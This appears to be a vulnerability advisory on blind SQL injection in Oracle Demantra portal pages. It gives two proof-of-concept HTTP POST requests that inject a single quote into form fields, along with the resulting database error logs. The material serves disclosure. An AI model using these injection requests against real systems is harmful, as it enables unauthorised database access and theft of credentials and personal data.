Details:

Application is vulnerable to SQL injection.
Impact:

An attacker with access to the vulnerable pages could manipulate the queries being sent to the database, potentially enabling them to:

- Extract sensitive information, including (but not limited to) authentication credentials and personal details. Such information could be sold by the attacker to other malicious individuals, used in other attacks (as the same password is often used across systems) or released publicly to damage the organisation’s reputation.

- Modify content within the application. If this was possible, the attacker could add malicious code to the application, which could then be used to deliver malware or exploit issues within client browsers.

In this particular instance, exploitation was more difficult as the results of the attack had to inferred based on the pages returned, often referred to as “blind” SQL Injection. This does not prevent exploitation, it simply means that the methods required to perform this attack require a very large number of requests to be made. However, because of this it is potentially easier to identify that an attack using this method is being attempted.
Exploit:

POST /demantra/portal/editExecDefinition.jsp HTTP/1.1
Host: www.target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.target.com:8080/demantra/portal/editExecDefinition.jsp?menuBarId=2&menuGroupId=4&menuItemId=10&tkn=919872817530076
Cookie: ORA_EBS_DEMANTRA_LOGIN_LANGUAGE=US; JSESSIONID=6741133838FDEC5D65258F72A4E4EB87
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 388

done=done&menuBarId=2&menuGroupId=4&tkn=919872817530076&menuItemId=10&menuAction=edit&order=0&command=http%3A%2F%2Fwww.oracle.com%2Fdemantra%2Findex.htm'&title=Demantra+Web+Site&description=Demantra+Web+Site&type=3&fileInput=&linkInput=http%3A%2F%2Fwww.oracle.com%2Fdemantra%2Findex.htm%27&desktopCommand=%23DEMANTRA.MODELER%23&param=

Related Error Log Entry:

2013-08-01 16:42:11,039 PDT [http-8080-6] ERROR appserver.sql: ODPM-70173: Error SQL:
[error occurred during batching: ORA-01756: quoted string not properly terminated]
UPDATE EXEC_DEFINITION SET MENU_ITEM_ID = 10,EXEC_ID = 5,EXEC_PATH = '',EXEC_NAME = 'http://www.oracle.com/demantra/index.htm'',PARAMETERS = '',EXEC_TYPE = 3
WHERE EXEC_ID = 5
2013-08-01 16:42:11,039 PDT [http-8080-6] ERROR appserver.error: 
com.demantra.applicationServer.appServerExceptions.FailedToExcuteBatch: java.sql.BatchUpdateException: error occurred during batching: ORA-01756: quoted string not properly terminated at com.demantra.applicationServer.services.DBServicesCommon.excuteBatch(DBServicesCommon.java:1446)

Sample Request #2:

POST /demantra/portal/saveProgramGroups.jsp HTTP/1.1
Host: www.target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.target.com:8080/demantra/portal/programGroupDefinition.jsp
Cookie: ORA_EBS_DEMANTRA_LOGIN_LANGUAGE=US; JSESSIONID=AC4D868CFC8F2B0CF06B62426A9F8CF7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

selectedPGItems=SEL_TYPE_1_MODULE_5_ID_267%2CSEL_TYPE_1_MODULE_5_ID_267%2C&tkn=548771231479710&PGName=aaa'&PGDescription=aaaa&objectFilter=1&SEL_TYPE_1_MODULE_5_ID_267=on

Related Error Log Entry:

… 39 more

2013-08-01 16:57:40,287 PDT [http-8080-9] ERROR appserver.sql: ODPM-70173: Error SQL:
[error occurred during batching: ORA-00933: SQL command not properly ended]
UPDATE PROGRAM_GROUPS SET NAME = 'aaa'',DESCRIPTION = 'aaaa' WHERE PROGRAM_GROUP_ID = 9
2013-08-01 16:57:40,287 PDT [http-8080-9] ERROR appserver.error: 
com.demantra.applicationServer.appServerExceptions.FailedToExcuteBatch: java.sql.BatchUpdateException: error occurred during batching: ORA-00933: SQL command not properly ended at com.demantra.applicationServer.services.DBServicesCommon.excuteBatch(DBServicesCommon.java:1446)

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